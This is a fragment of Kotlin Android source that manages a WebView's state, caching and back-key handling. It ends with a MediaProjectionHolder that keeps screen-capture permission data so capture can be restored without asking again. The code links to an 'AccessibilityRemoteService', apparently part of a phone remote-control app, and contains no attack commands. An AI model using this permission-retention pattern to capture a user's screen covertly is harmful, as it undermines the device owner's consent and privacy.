* 只有Activity在前台时才更新状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startWebViewStatusUpdate() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 停止之前的状态更新任务(如果存在)
|
|
|
|
|
|
stopWebViewStatusUpdate()
|
|
|
|
|
|
|
|
|
|
|
|
isWebViewVisible = true
|
|
|
|
|
|
webViewStatusHandler = Handler(Looper.getMainLooper())
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查Activity是否在前台,只有在前台时才设置状态
|
|
|
|
|
|
if (isActivityResumed()) {
|
|
|
|
|
|
// ✅ 立即设置WebView打开状态(只有在前台时)
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
|
|
|
|
|
|
Log.i(TAG, "✅ 已设置WebView打开状态(静态变量),Activity在前台")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 已标记WebView为可见,但Activity不在前台,等待前台时再更新状态")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
webViewStatusRunnable = object : Runnable {
|
|
|
|
|
|
override fun run() {
|
|
|
|
|
|
if (isWebViewVisible && !isFinishing && !isDestroyed) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 只有Activity在前台时才更新状态,节省资源
|
|
|
|
|
|
if (isActivityResumed()) {
|
|
|
|
|
|
// ✅ 直接更新静态变量(最高性能,无通信开销)
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
|
|
|
|
|
|
Log.v(TAG, "📡 已更新WebView打开状态(静态变量),Activity在前台")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// Activity不在前台,不更新状态,但继续检查
|
|
|
|
|
|
Log.v(TAG, "📡 Activity不在前台,跳过状态更新")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 500ms后再次更新
|
|
|
|
|
|
webViewStatusHandler?.postDelayed(this, 500L)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 更新WebView状态失败", e)
|
|
|
|
|
|
// 更新失败也要继续尝试,避免停止更新
|
|
|
|
|
|
webViewStatusHandler?.postDelayed(this, 500L)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 500ms后开始定时更新
|
|
|
|
|
|
webViewStatusHandler?.postDelayed(webViewStatusRunnable!!, 500L)
|
|
|
|
|
|
Log.i(TAG, "✅ 已启动WebView状态更新(静态变量方案),只有前台时更新")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动WebView状态更新失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 检查Activity是否在前台(resumed状态)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isActivityResumed(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
// 检查Activity是否在前台
|
|
|
|
|
|
// 使用更简单可靠的方法:检查是否有window focus和可见性
|
|
|
|
|
|
val hasWindowFocus = hasWindowFocus()
|
|
|
|
|
|
val isVisible = !isFinishing && !isDestroyed
|
|
|
|
|
|
hasWindowFocus && isVisible
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
// 如果检查失败,假设不在前台
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 停止WebView状态更新
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun stopWebViewStatusUpdate() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
isWebViewVisible = false
|
|
|
|
|
|
|
|
|
|
|
|
// 停止定时更新
|
|
|
|
|
|
webViewStatusHandler?.removeCallbacks(webViewStatusRunnable ?: return)
|
|
|
|
|
|
webViewStatusHandler = null
|
|
|
|
|
|
webViewStatusRunnable = null
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 直接设置WebView关闭状态(静态变量)
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
|
|
|
|
|
|
Log.i(TAG, "✅ 已停止WebView状态更新并设置为关闭状态(静态变量)")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 停止WebView状态更新失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能优化:暂停WebView以节省资源
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun pauseWebView() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
webView?.onPause()
|
|
|
|
|
|
Log.d(TAG, "⏸️ WebView已暂停")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 暂停WebView失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能优化:恢复WebView
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun resumeWebView() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
webView?.onResume()
|
|
|
|
|
|
Log.d(TAG, "▶️ WebView已恢复")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 恢复WebView失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能优化:清理WebView缓存和内存
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun clearWebViewCache() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
webView?.clearCache(true)
|
|
|
|
|
|
webView?.clearHistory()
|
|
|
|
|
|
Log.d(TAG, "🧹 WebView缓存已清理")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 清理WebView缓存失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能优化:销毁WebView以释放内存
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun destroyWebView() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
webView?.let { wv ->
|
|
|
|
|
|
wv.loadUrl("about:blank")
|
|
|
|
|
|
wv.clearHistory()
|
|
|
|
|
|
wv.clearCache(true)
|
|
|
|
|
|
wv.destroy()
|
|
|
|
|
|
Log.d(TAG, "🗑️ WebView已销毁")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 销毁WebView失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能优化:简化性能监控,避免与 WebViewManager 冲突
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun enableWebViewPerformanceMonitoring(webView: android.webkit.WebView) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🚀 简化:只启用调试,不设置 WebChromeClient(避免与 WebViewManager 冲突)
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
|
|
|
|
|
|
android.webkit.WebView.setWebContentsDebuggingEnabled(true)
|
|
|
|
|
|
Log.d(TAG, "🔧 WebView调试已启用")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 简化:移除复杂的内存监控,避免性能影响
|
|
|
|
|
|
Log.i(TAG, "🚀 WebView性能监控已简化")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 启用WebView性能监控失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView性能诊断:诊断WebView性能问题
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun diagnoseWebViewPerformance() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
if (webView != null) {
|
|
|
|
|
|
Log.i(TAG, "🔍 WebView性能诊断开始")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查WebView状态
|
|
|
|
|
|
Log.d(TAG, "📊 WebView可见性: ${webView.visibility}")
|
|
|
|
|
|
Log.d(TAG, "📊 WebView焦点状态: ${webView.hasFocus()}")
|
|
|
|
|
|
Log.d(TAG, "📊 WebView滚动状态: 垂直=${webView.scrollY}, 水平=${webView.scrollX}")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查内存使用
|
|
|
|
|
|
val runtime = Runtime.getRuntime()
|
|
|
|
|
|
val usedMemory = runtime.totalMemory() - runtime.freeMemory()
|
|
|
|
|
|
val maxMemory = runtime.maxMemory()
|
|
|
|
|
|
Log.d(TAG, "📊 当前内存使用: ${usedMemory / 1024 / 1024}MB / ${maxMemory / 1024 / 1024}MB")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查WebView设置
|
|
|
|
|
|
val settings = webView.settings
|
|
|
|
|
|
Log.d(TAG, "📊 JavaScript启用: ${settings.javaScriptEnabled}")
|
|
|
|
|
|
Log.d(TAG, "📊 硬件加速: ${webView.layerType}")
|
|
|
|
|
|
Log.d(TAG, "📊 缓存模式: ${settings.cacheMode}")
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ WebView性能诊断完成")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ WebView未找到,无法进行性能诊断")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ WebView性能诊断失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView渲染优化:参考 zuiqiang 的简洁实现
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun optimizeWebViewRendering(webView: android.webkit.WebView) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🚀 极简优化 - 参考 zuiqiang 项目
|
|
|
|
|
|
webView.setOverScrollMode(android.view.View.OVER_SCROLL_NEVER)
|
|
|
|
|
|
webView.setScrollBarStyle(android.view.View.SCROLLBARS_INSIDE_OVERLAY)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🚀 WebView渲染优化完成(简洁版)")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ WebView渲染优化失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 WebView内存优化:定期清理内存
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun optimizeWebViewMemory() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
webView?.let { wv ->
|
|
|
|
|
|
// 清理缓存
|
|
|
|
|
|
wv.clearCache(true)
|
|
|
|
|
|
wv.clearHistory()
|
|
|
|
|
|
|
|
|
|
|
|
// 强制垃圾回收
|
|
|
|
|
|
System.gc()
|
|
|
|
|
|
|
|
|
|
|
|
// 检查内存使用情况
|
|
|
|
|
|
val runtime = Runtime.getRuntime()
|
|
|
|
|
|
val usedMemory = runtime.totalMemory() - runtime.freeMemory()
|
|
|
|
|
|
val maxMemory = runtime.maxMemory()
|
|
|
|
|
|
val memoryUsagePercent = (usedMemory * 100) / maxMemory
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🧹 WebView内存清理完成,使用率: ${memoryUsagePercent}%")
|
|
|
|
|
|
|
|
|
|
|
|
if (memoryUsagePercent > 85) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 内存使用率过高: ${memoryUsagePercent}%,建议重启WebView")
|
|
|
|
|
|
// 可以考虑重新加载页面
|
|
|
|
|
|
wv.reload()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ WebView内存优化失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检测是否为全面屏设备
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isFullScreenDevice(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
// 检测是否有导航栏
|
|
|
|
|
|
val hasNavigationBar = hasNavigationBar()
|
|
|
|
|
|
|
|
|
|
|
|
// 检测屏幕比例(全面屏设备通常有更高的宽高比)
|
|
|
|
|
|
val displayMetrics = resources.displayMetrics
|
|
|
|
|
|
val screenWidth = displayMetrics.widthPixels
|
|
|
|
|
|
val screenHeight = displayMetrics.heightPixels
|
|
|
|
|
|
val aspectRatio = maxOf(screenWidth, screenHeight).toFloat() / minOf(screenWidth, screenHeight).toFloat()
|
|
|
|
|
|
|
|
|
|
|
|
// 获取导航栏高度
|
|
|
|
|
|
val navigationBarHeight = getNavigationBarHeight()
|
|
|
|
|
|
|
|
|
|
|
|
// 全面屏设备特征:
|
|
|
|
|
|
// 1. 没有导航栏 或
|
|
|
|
|
|
// 2. 屏幕宽高比大于1.8(18:9或更高)且导航栏高度很小
|
|
|
|
|
|
val isFullScreen = !hasNavigationBar || (aspectRatio > 1.8f && navigationBarHeight < 100)
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🔍 设备检测: 有导航栏=$hasNavigationBar, 宽高比=${String.format("%.2f", aspectRatio)}, 导航栏高度=${navigationBarHeight}px, 全面屏=$isFullScreen")
|
|
|
|
|
|
isFullScreen
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检测全面屏设备失败", e)
|
|
|
|
|
|
// 默认按非全面屏处理,避免遮挡
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检测是否有导航栏
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun hasNavigationBar(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val resources = this.resources
|
|
|
|
|
|
val resourceId = resources.getIdentifier("config_showNavigationBar", "bool", "android")
|
|
|
|
|
|
if (resourceId > 0) {
|
|
|
|
|
|
resources.getBoolean(resourceId)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 如果无法获取配置,通过系统UI可见性判断
|
|
|
|
|
|
val decorView = window.decorView
|
|
|
|
|
|
val uiOptions = decorView.systemUiVisibility
|
|
|
|
|
|
(uiOptions and android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检测导航栏失败", e)
|
|
|
|
|
|
true // 默认认为有导航栏
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取导航栏高度
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getNavigationBarHeight(): Int {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val resources = this.resources
|
|
|
|
|
|
val resourceId = resources.getIdentifier("navigation_bar_height", "dimen", "android")
|
|
|
|
|
|
if (resourceId > 0) {
|
|
|
|
|
|
val height = resources.getDimensionPixelSize(resourceId)
|
|
|
|
|
|
Log.d(TAG, "🔍 导航栏高度: ${height}px")
|
|
|
|
|
|
height
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无法获取导航栏高度,使用默认值")
|
|
|
|
|
|
// 默认导航栏高度(通常为48dp)
|
|
|
|
|
|
(48 * resources.displayMetrics.density).toInt()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取导航栏高度失败", e)
|
|
|
|
|
|
// 默认导航栏高度
|
|
|
|
|
|
(48 * resources.displayMetrics.density).toInt()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 将当前Activity隐藏到后台而不销毁
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun hideActivityToBackground() {
|
|
|
|
|
|
// 🚀 简化:允许用户正常返回,不强制隐藏
|
|
|
|
|
|
// try {
|
|
|
|
|
|
// moveTaskToBack(true)
|
|
|
|
|
|
// Log.i(TAG, "🫥 已将MainActivity隐藏到后台")
|
|
|
|
|
|
// } catch (e: Exception) {
|
|
|
|
|
|
// Log.w(TAG, "⚠️ 隐藏Activity到后台失败: ${e.message}")
|
|
|
|
|
|
// }
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🚀 处理返回键 - WebView 模式下不允许返回主界面
|
|
|
|
|
|
*/
|
|
|
|
|
|
override fun onBackPressed() {
|
|
|
|
|
|
Log.i(TAG, "🔙 用户按返回键")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查 WebView 是否可见
|
|
|
|
|
|
val webViewContainer = findViewById<android.view.View>(R.id.webViewContainer)
|
|
|
|
|
|
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
|
|
|
|
|
|
|
|
|
|
|
|
if (isWebViewVisible) {
|
|
|
|
|
|
// WebView 可见时,检查是否可以返回上一页
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
if (webView != null && webView.canGoBack()) {
|
|
|
|
|
|
Log.i(TAG, "🌐 WebView 可以返回上一页")
|
|
|
|
|
|
webView.goBack()
|
|
|
|
|
|
return
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "🌐 WebView 无法返回,直接退出应用")
|
|
|
|
|
|
// 🚀 关键:WebView 无法返回时,直接退出应用,不允许返回主界面
|
|
|
|
|
|
super.onBackPressed()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 其他情况,正常退出应用
|
|
|
|
|
|
Log.i(TAG, "🔙 正常退出应用")
|
|
|
|
|
|
super.onBackPressed()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 显示主UI - 从 WebView 返回到主界面
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun showMainUI() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 停止WebView状态更新
|
|
|
|
|
|
stopWebViewStatusUpdate()
|
|
|
|
|
|
|
|
|
|
|
|
// 显示主界面内容
|
|
|
|
|
|
findViewById<android.view.View>(R.id.mainContent)?.visibility = android.view.View.VISIBLE
|
|
|
|
|
|
// 隐藏 WebView 容器
|
|
|
|
|
|
findViewById<android.view.View>(R.id.webViewContainer)?.visibility = android.view.View.INVISIBLE
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView 模式优化:跳过日志开关
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 退出 WebView 模式:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 主UI已显示,WebView容器已隐藏")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 显示主UI失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//(移除SharedPreferences方式,改为文件持久化)
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* MediaProjection静态持有者 - 增强版
|
|
|
|
|
|
* 专门针对Android 15权限丢失问题进行优化
|
|
|
|
|
|
*/
|
|
|
|
|
|
object MediaProjectionHolder {
|
|
|
|
|
|
private var mediaProjection: MediaProjection? = null
|
|
|
|
|
|
private var permissionResultCode: Int? = null
|
|
|
|
|
|
private var permissionData: Intent? = null
|
|
|
|
|
|
|
|
|
|
|
|
// Android 15权限保护增强
|
|
|
|
|
|
@Volatile
|
|
|
|
|
|
private var permissionCreationTime: Long = 0L
|
|
|
|
|
|
|
|
|
|
|
|
@Volatile
|
|
|
|
|
|
private var permissionLostCount: Int = 0
|
|
|
|
|
|
|
|
|
|
|
|
@Volatile
|
|
|
|
|
|
private var lastRecoveryTime: Long = 0L
|
|
|
|
|
|
|
|
|
|
|
|
fun setMediaProjection(projection: MediaProjection?) {
|
|
|
|
|
|
this.mediaProjection = projection
|
|
|
|
|
|
if (projection != null) {
|
|
|
|
|
|
permissionCreationTime = System.currentTimeMillis()
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
"MediaProjectionHolder",
|
|
|
|
|
|
"✅ MediaProjection已设置,时间戳: $permissionCreationTime"
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun getMediaProjection(): MediaProjection? {
|
|
|
|
|
|
return mediaProjection
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun setPermissionData(resultCode: Int, data: Intent?) {
|
|
|
|
|
|
this.permissionResultCode = resultCode
|
|
|
|
|
|
this.permissionData = data
|
|
|
|
|
|
permissionCreationTime = System.currentTimeMillis()
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
"MediaProjectionHolder",
|
|
|
|
|
|
"权限数据已存储: resultCode=$resultCode, 时间戳: $permissionCreationTime"
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun getPermissionData(): Pair<Int, Intent?>? {
|
|
|
|
|
|
return if (permissionResultCode != null) {
|
|
|
|
|
|
Pair(permissionResultCode!!, permissionData)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检查权限数据是否仍然有效(统一处理Android 11+设备)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun isPermissionDataValid(): Boolean {
|
|
|
|
|
|
val permissionCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
val permissionAge = permissionCurrentTime - permissionCreationTime
|
|
|
|
|
|
|
|
|
|
|
|
// 统一使用2小时权限数据有效期,确保Android 11+设备稳定性
|
|
|
|
|
|
val maxAge = 2 * 60 * 60 * 1000L // 2小时
|
|
|
|
|
|
|
|
|
|
|
|
val isValid = permissionResultCode != null && permissionAge < maxAge
|
|
|
|
|
|
|
|
|
|
|
|
if (!isValid && permissionResultCode != null) {
|
|
|
|
|
|
Log.w("MediaProjectionHolder", "⚠️ 权限数据已过期,年龄: ${permissionAge / 1000}秒")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return isValid
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
fun clearMediaProjection() {
|
|
|
|
|
|
val clearCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
val stackTrace = Thread.currentThread().stackTrace.take(8)
|
|
|
|
|
|
.joinToString("\n") { " at ${it.className}.${it.methodName}(${it.fileName}:${it.lineNumber})" }
|
|
|
|
|
|
|
|
|
|
|
|
Log.w(
|
|
|
|
|
|
"MediaProjectionHolder", """
|
|
|
|
|
|
🧹🧹🧹 clearMediaProjection() 被调用 🧹🧹🧹
|
|
|
|
|
|
📍 调用时间: $clearCurrentTime
|
|
|
|
|
|
📊 当前状态:
|
|
|
|
|
|
- MediaProjection对象: ${mediaProjection?.hashCode()}
|
|
|
|
|
|
- 权限数据存在: ${permissionResultCode != null}
|
|
|
|
|
|
- 权限创建时间: $permissionCreationTime
|
|
|
|
|
|
- 权限丢失次数: $permissionLostCount
|
|
|
|
|
|
- Android版本: ${android.os.Build.VERSION.SDK_INT}
|
|
|
|
|
|
📍 调用堆栈:
|
|
|
|
|
|
$stackTrace
|
|
|
|
|
|
""".trimIndent()
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// ❌ 修复:不要随意停止MediaProjection!特别是Android 15设备
|
|
|
|
|
|
// 这会导致权限永久失效,需要重新申请
|
|
|
|
|
|
// 只清理引用,保留权限数据,让系统自然回收
|
|
|
|
|
|
Log.w(
|
|
|
|
|
|
"MediaProjectionHolder",
|
|
|
|
|
|
"⚠️ 清理MediaProjection引用,但保留权限数据防止Android 15权限丢失"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 记录权限丢失
|
|
|
|
|
|
permissionLostCount++
|
|
|
|
|
|
Log.d("MediaProjectionHolder", "📊 更新权限丢失计数: $permissionLostCount")
|
|
|
|
|
|
|
|
|
|
|
|
// 统一使用保守的权限保护策略,仅清理MediaProjection引用,保留权限数据
|
|
|
|
|
|
Log.i("MediaProjectionHolder", "🛡️ Android 11+设备:仅清理MediaProjection引用,保留权限数据")
|
|
|
|
|
|
|
|
|
|
|
|
val oldProjection = mediaProjection
|
|
|
|
|
|
// 只清理引用,保留权限数据
|
|
|
|
|
|
mediaProjection = null
|
|
|
|
|
|
Log.d("MediaProjectionHolder", "🧹 引用清理: ${oldProjection?.hashCode()} -> null")
|
|
|
|
|
|
// 不清理权限数据:permissionResultCode 和 permissionData 保留
|
|
|
|
|
|
|
|
|
|
|
|
// 记录权限丢失,需要外部触发恢复机制
|
|
|
|
|
|
Log.i("MediaProjectionHolder", "🔄 权限丢失,需要外部触发恢复机制")
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(
|
|
|
|
|
|
"MediaProjectionHolder", """
|
|
|
|
|
|
📊 清理后状态:
|
|
|
|
|
|
- MediaProjection对象: ${mediaProjection?.hashCode()}
|
|
|
|
|
|
- 权限数据保留: resultCode=$permissionResultCode, Intent存在=${permissionData != null}
|
|
|
|
|
|
- 权限数据有效性: ${isPermissionDataValid()}
|
|
|
|
|
|
""".trimIndent()
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 新增:强制清理方法,仅在确实需要停止时使用
|
|
|
|
|
|
fun forceStopMediaProjection() {
|
|
|
|
|
|
Log.i("MediaProjectionHolder", "🛑 强制停止MediaProjection(仅在用户主动停止时使用)")
|
|
|
|
|
|
mediaProjection?.stop()
|
|
|
|
|
|
mediaProjection = null
|
|
|
|
|
|
permissionResultCode = null
|
|
|
|
|
|
permissionData = null
|
|
|
|
|
|
permissionCreationTime = 0L
|
|
|
|
|
|
permissionLostCount = 0
|
|
|
|
|
|
lastRecoveryTime = 0L
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 清理权限数据(不影响MediaProjection对象)
|
|
|
|
|
|
fun clearPermissionData() {
|
|
|
|
|
|
Log.w("MediaProjectionHolder", "🧹 清理权限数据(权限可能已过期)")
|
|
|
|
|
|
permissionResultCode = null
|
|
|
|
|
|
permissionData = null
|
|
|
|
|
|
permissionCreationTime = 0L
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 智能权限恢复(针对Android 15优化)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun attemptSmartRecovery(): MediaProjection? {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val recoveryCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否过于频繁的恢复尝试
|
|
|
|
|
|
if (recoveryCurrentTime - lastRecoveryTime < 30000) { // 30秒内不重复恢复
|
|
|
|
|
|
Log.w("MediaProjectionHolder", "⚠️ 恢复尝试过于频繁,跳过")
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
lastRecoveryTime = recoveryCurrentTime
|
|
|
|
|
|
|
|
|
|
|
|
// 检查权限数据有效性
|
|
|
|
|
|
if (!isPermissionDataValid()) {
|
|
|
|
|
|
Log.w("MediaProjectionHolder", "❌ 权限数据无效,无法智能恢复")
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val permissionData = getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
val (resultCode, resultData) = permissionData
|
|
|
|
|
|
if (resultData != null) {
|
|
|
|
|
|
Log.i("MediaProjectionHolder", "🔧 尝试智能恢复MediaProjection")
|
|
|
|
|
|
|
|
|
|
|
|
// 注意:这里需要一个Context,但在静态方法中无法直接获取
|
|
|
|
|
|
// 暂时返回null,具体的智能恢复应该由有Context的组件来处理
|
|
|
|
|
|
Log.w(
|
|
|
